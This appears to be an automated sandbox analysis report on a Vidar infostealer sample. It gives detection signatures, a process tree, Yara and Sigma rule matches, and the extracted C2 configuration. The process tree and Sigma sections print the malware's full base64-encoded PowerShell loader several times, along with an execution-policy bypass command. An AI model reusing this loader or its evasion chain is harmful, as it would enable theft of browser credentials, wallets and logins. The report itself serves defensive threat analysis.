Edit tour

Windows Analysis Report
yU3icg18lq.exe

Overview

General Information

Sample name:	yU3icg18lq.exe renamed because original name is a hash value
Original sample name:	8b8db4eaa6f5368eb5f64359c6197b43.exe
Analysis ID:	1416885
MD5:	8b8db4eaa6f5368eb5f64359c6197b43
SHA1:	e9b51842e2d2f39fa06e466ae73af341ddffe1c8
SHA256:	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
Tags:	32exetrojan
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Powershell dedcode and execute

Yara detected Vidar

Yara detected Vidar stealer

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

yU3icg18lq.exe (PID: 5144 cmdline: "C:\Users\user\Desktop\yU3icg18lq.exe" MD5: 8B8DB4EAA6F5368EB5F64359C6197B43)

wscript.exe (PID: 4028 cmdline: "wscript.exe" "C:\Users\user\start.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 5512 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5304 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 7252 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

RegAsm.exe (PID: 7688 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7696 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199658817715"], "Botnet": "72f54d93118188013f2386eef7e5cc05", "Version": "8.6"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\-temp.ps1	JoeSecurity_PowershellDedcodeAndExecute	Yara detected Powershell dedcode and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.1661591240.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: powershell.exe PID: 5304	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1c4a5:$b2: ::FromBase64String( 0x1cfe0:$b2: ::FromBase64String( 0x1e7b3:$b2: ::FromBase64String( 0x21c90:$b2: ::FromBase64String( 0x3b8a9:$b2: ::FromBase64String( 0x3c3ea:$b2: ::FromBase64String( 0x3dbd4:$b2: ::FromBase64String( 0x40504:$b2: ::FromBase64String( 0x70476:$b2: ::FromBase64String( 0x72484:$b2: ::FromBase64String( 0xa4e30:$b2: ::FromBase64String( 0xa5940:$b2: ::FromBase64String( 0xa70b9:$b2: ::FromBase64String( 0xa7bf4:$b2: ::FromBase64String( 0xaa8a6:$b2: ::FromBase64String( 0xad6fc:$b2: ::FromBase64String( 0xc9f0e:$b2: ::FromBase64String( 0xcbb04:$b2: ::FromBase64String( 0xe98eb:$b2: ::FromBase64String( 0xea426:$b2: ::FromBase64String( 0xed366:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7252	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: powershell.exe PID: 7252	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7252	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x91114:$b2: ::FromBase64String( 0x91c24:$b2: ::FromBase64String( 0x117ded:$b2: ::FromBase64String( 0x13179c:$b2: ::FromBase64String( 0x1b28e3:$b2: ::FromBase64String( 0x23c1f2:$b2: ::FromBase64String( 0x23f6f3:$b2: ::FromBase64String( 0x252b66:$b2: ::FromBase64String( 0x254df4:$b2: ::FromBase64String( 0x2668a4:$b2: ::FromBase64String( 0x26900b:$b2: ::FromBase64String( 0x26c6f1:$b2: ::FromBase64String( 0x3ed89a:$b2: ::FromBase64String( 0x3f29e6:$b2: ::FromBase64String( 0x49fc97:$b2: ::FromBase64String( 0x8dea8:$b3: ::UTF8.GetString( 0x910f3:$b3: ::UTF8.GetString( 0x91c03:$b3: ::UTF8.GetString( 0x1165d1:$b3: ::UTF8.GetString( 0x117dcc:$b3: ::UTF8.GetString( 0x119a84:$b3: ::UTF8.GetString(
Process Memory Space: RegAsm.exe PID: 7696	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7696	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.powershell.exe.61cabb8.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.powershell.exe.61cabb8.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_7252.amsi.csv	JoeSecurity_PowershellDedcodeAndExecute	Yara detected Powershell dedcode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encodin

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encodin

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "wscript.exe" "C:\Users\user\start.vbs", CommandLine: "wscript.exe" "C:\Users\user\start.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\yU3icg18lq.exe", ParentImage: C:\Users\user\Desktop\yU3icg18lq.exe, ParentProcessId: 5144, ParentProcessName: yU3icg18lq.exe, ProcessCommandLine: "wscript.exe" "C:\Users\user\start.vbs", ProcessId: 4028, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5512, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1", ProcessId: 7252, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "wscript.exe" "C:\Users\user\start.vbs", CommandLine: "wscript.exe" "C:\Users\user\start.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\yU3icg18lq.exe", ParentImage: C:\Users\user\Desktop\yU3icg18lq.exe, ParentProcessId: 5144, ParentProcessName: yU3icg18lq.exe, ProcessCommandLine: "wscript.exe" "C:\Users\user\start.vbs", ProcessId: 4028, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

